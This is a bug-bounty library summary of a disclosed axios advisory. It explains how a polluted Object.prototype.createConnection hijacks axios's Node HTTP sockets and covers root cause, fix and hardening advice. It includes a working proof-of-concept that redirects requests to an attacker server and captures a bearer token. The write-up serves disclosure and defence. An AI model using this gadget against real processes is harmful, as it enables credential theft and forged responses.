# Axios: Node HTTP adapter prototype-pollution gadget allows request socket hijack via inherited createConnection

Axios Node HTTP adapter omits own createConnection, so polluted Object.prototype.createConnection hijacks request sockets, leaking Authorization headers to an attacker server.

- Payout: Research
- Severity: high
- Program: Axios
- Found by: DavidCarliez
- Disclosed: 2026-09-30
- CVE: CVE-2026-101905
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-m8m8-qj5v-23w3
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-m8m8-qj5v-23w3
- Tags: area:oss domain:oss impact:data-leak impact:integrity kind:research platform:ghsa sev:high tech:nodejs technique:chained technique:incomplete-fix technique:source-review vuln:misconfiguration vuln:prototype-pollution

**Target:** Node.js HTTP adapter of the axios npm client library
**Root cause:** The adapter builds a null-prototype options object but never sets an own createConnection property; Node's HTTP client copies/normalizes options into ordinary objects, so an inherited Object.prototype.createConnection is resolved and invoked to create the socket.
**Steps:**
1. Pollute the prototype: `Object.prototype.createConnection = function (_options, cb) { const socket = net.createConnection({ host: '127.0.0.1', port: attackerPort }, () => { if (typeof cb === 'function') cb(null, socket); }); return socket; };`
2. Start a legitimate server and an attacker server on loopback.
3. Issue `await axios.get('http://127.0.0.1:<legit-port>/secret', { headers: { Authorization: 'Bearer SECRET' }, proxy: false })`.
4. Observe the attacker server receives `/secret` with `Bearer SECRET` and its body is returned; the legit server gets no request.
5. Fix: add `createConnection: undefined` as an own property in the adapter options object.
**How found:** Reporter noted axios' null-prototype hardening only protects direct inherited reads; reasoned that Node's HTTP client copies request options into ordinary objects before connection creation, re-exposing Object.prototype lookups, then tested the sensitive createConnection option on multiple axios versions.
**Exploitation:** Requires a prior same-process prototype-pollution primitive. Once Object.prototype.createConnection is polluted, every later axios Node HTTP/HTTPS request whose options lack an own createConnection dials the attacker endpoint instead of the real host; the attacker receives headers/bodies (bearer tokens, cookies, API keys) and returns forged responses, bypassing URL-based SSRF/destination validation.
**Escalation:** Chains an unrelated prototype-pollution bug in a transitive dependency into a MITM/credential-theft primitive across all subsequent axios traffic in the process.
**Insight:** Null-prototype option objects are not sufficient hardening when the downstream library re-copies options into normal objects: enumerate sensitive transport options (createConnection, lookup, localAddress, servername, signal) and pin each with an own safe value, then verify by polluting Object.prototype and asserting the gadget no longer fires.

## Proof of concept (copied exactly from the original report)

**Prototype pollution PoC redirecting axios socket**

```
Object.prototype.createConnection = function(options, cb) {
  const sock = net.createConnection({
    host: '127.0.0.1',
    port: attacker.address().port,
  }, () => {
    if (typeof cb === 'function') cb(null, sock);
  });
  return sock;
};
```

**Axios request with Authorization to legit server**

```
const res = await axios.get(`http://127.0.0.1:${legit.address().port}/secret`, {
  headers: {Authorization: 'Bearer SECRET'},
  proxy: false,
});
```

**Observed attacker response and exfiltrated header**

```
{
  "response": "ATTACKER",
  "legitHits": [],
  "attackerHits": [
    {
      "url": "/secret",
      "auth": "Bearer SECRET"
    }
  ]
}
```

